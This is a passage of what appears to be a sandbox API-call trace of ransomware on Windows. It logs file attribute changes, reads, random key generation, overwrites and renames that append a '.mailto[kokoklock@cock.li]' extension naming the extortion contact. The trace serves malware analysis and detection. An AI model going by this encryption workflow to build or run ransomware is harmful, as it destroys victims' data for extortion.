(lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83738) returned 1 [0170.806] RtlExitUserThread (Status=0x0) Thread: id = 1984 os_tid = 0xe30 [0170.807] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.807] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.807] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.807] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.808] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024550) returned 1 [0170.808] RtlExitUserThread (Status=0x0) Thread: id = 1985 os_tid = 0xe34 [0170.809] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.809] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.809] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.810] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc36e8) returned 1 [0170.810] RtlExitUserThread (Status=0x0) Thread: id = 1986 os_tid = 0xe38 [0170.811] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.811] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.811] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.811] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.811] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa21d8) returned 1 [0170.811] RtlExitUserThread (Status=0x0) Thread: id = 1987 os_tid = 0xe60 [0170.812] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.813] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.814] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.814] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e810) returned 1 [0170.814] RtlExitUserThread (Status=0x0) Thread: id = 1988 os_tid = 0xe64 [0170.815] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.815] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.815] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.815] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91b30) returned 1 [0170.815] RtlExitUserThread (Status=0x0) Thread: id = 1989 os_tid = 0xe6c [0170.816] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.816] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.816] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.817] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91be0) returned 1 [0170.817] RtlExitUserThread (Status=0x0) Thread: id = 1990 os_tid = 0x380 [0170.818] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.818] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.818] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.818] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.818] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee2e8) returned 1 [0170.818] RtlExitUserThread (Status=0x0) Thread: id = 1991 os_tid = 0xc98 [0170.823] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.823] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.823] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.823] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee438) returned 1 [0170.823] RtlExitUserThread (Status=0x0) Thread: id = 1992 os_tid = 0x1004 [0170.824] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.826] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.826] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.826] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.826] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e760) returned 1 [0170.826] RtlExitUserThread (Status=0x0) Thread: id = 1993 os_tid = 0x1008 [0170.827] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.827] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.827] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.828] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.828] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92000) returned 1 [0170.828] RtlExitUserThread (Status=0x0) Thread: id = 1994 os_tid = 0x100c [0170.829] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.829] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.829] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.829] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.829] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f920b0) returned 1 [0170.829] RtlExitUserThread (Status=0x0) Thread: id = 1995 os_tid = 0x1010 [0170.830] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.830] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.831] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.831] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.831] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90b60) returned 1 [0170.831] RtlExitUserThread (Status=0x0) Thread: id = 1996 os_tid = 0x1014 [0170.832] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.832] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.832] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.832] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.832] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90c10) returned 1 [0170.832] RtlExitUserThread (Status=0x0) Thread: id = 1998 os_tid = 0x1020 [0171.513] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.515] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0171.515] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x156ffb50 | out: lpFileSize=0x156ffb50*=8384) returned 1 [0171.515] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x20bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.515] ReadFile (in: hFile=0x35c, lpBuffer=0x156ffb24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x156ffb20, lpOverlapped=0x0 | out: lpBuffer=0x156ffb24*, lpNumberOfBytesRead=0x156ffb20*=0x4, lpOverlapped=0x0) returned 1 [0171.516] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.516] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.516] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0171.516] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e18 [0171.516] NtQuerySystemTime (in: CurrentTime=0x156ffafc | out: CurrentTime=0x156ffafc*=132121213288264183) returned 0x0 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x6fa05b7d [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xc52fed61 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x39ac6199 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x7f6b49d1 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x9aff94f5 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x4b3289da [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x39cb1397 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x6154f4d7 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xbd45aeb8 [0171.516] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xa76c2612 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x3534e1a4 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xf836afe5 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x382f601f [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x407ca903 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x2eb25d15 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x5f558a88 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x7eae73e4 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xab642faf [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xc5ca8ba6 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x23966d88 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x5b3c278a [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xd416d6f [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xd3d1cad5 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x39a820de [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0xf7471b5f [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x4379f3fc [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x57ee357a [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x9ff02b61 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x4d119889 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x7bd75792 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x927aecb4 [0171.517] RtlRandom (in: Seed=0x156ffb08 | out: Seed=0x156ffb08) returned 0x5674709b [0171.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0171.528] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30131e8 [0171.528] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0171.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30131e8) returned 1 [0171.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.528] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0171.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0171.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d50 [0171.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d50) returned 1 [0171.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.532] ReadFile (in: hFile=0x35c, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x20c0, lpNumberOfBytesRead=0x156ffafc, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x156ffafc*=0x20c0, lpOverlapped=0x0) returned 1 [0171.533] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x156ffac4 | out: lpNewFilePointer=0x0) returned 1 [0171.533] WriteFile (in: hFile=0x35c, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x20c0, lpNumberOfBytesWritten=0x156ffaf8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x156ffaf8*=0x20c0, lpOverlapped=0x0) returned 1 [0171.533] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fd0 [0171.533] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e40 [0171.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e40) returned 1 [0171.533] WriteFile (in: hFile=0x35c, lpBuffer=0x3057fd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x156ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x3057fd0*, lpNumberOfBytesWritten=0x156ffaf4*=0x20, lpOverlapped=0x0) returned 1 [0171.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057fd0) returned 1 [0171.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0171.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0171.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0171.533] WriteFile (in: hFile=0x35c, lpBuffer=0x30580e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x156ffb20, lpOverlapped=0x0 | out: lpBuffer=0x30580e8*, lpNumberOfBytesWritten=0x156ffb20*=0x8, lpOverlapped=0x0) returned 1 [0171.534] WriteFile (in: hFile=0x35c, lpBuffer=0x156ffb38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x156ffb20, lpOverlapped=0x0 | out: lpBuffer=0x156ffb38*, lpNumberOfBytesWritten=0x156ffb20*=0x4, lpOverlapped=0x0) returned 1 [0171.534] WriteFile (in: hFile=0x35c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x156ffb20, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x156ffb20*=0x4, lpOverlapped=0x0) returned 1 [0171.534] WriteFile (in: hFile=0x35c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x156ffb20, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x156ffb20*=0x6c, lpOverlapped=0x0) returned 1 [0171.534] WriteFile (in: hFile=0x35c, lpBuffer=0x3057ee0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x156ffb20, lpOverlapped=0x0 | out: lpBuffer=0x3057ee0*, lpNumberOfBytesWritten=0x156ffb20*=0x20, lpOverlapped=0x0) returned 1 [0171.534] WriteFile (in: hFile=0x35c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x156ffb20, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x156ffb20*=0x4, lpOverlapped=0x0) returned 1 [0171.534] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0171.534] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0171.534] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580e8) returned 1 [0171.534] CloseHandle (hObject=0x35c) returned 1 [0171.534] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f86118 [0171.534] wcscpy (in: _Dest=0x2f86118, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" [0171.534] wcscat (in: _Dest=0x2f86118, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0171.534] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 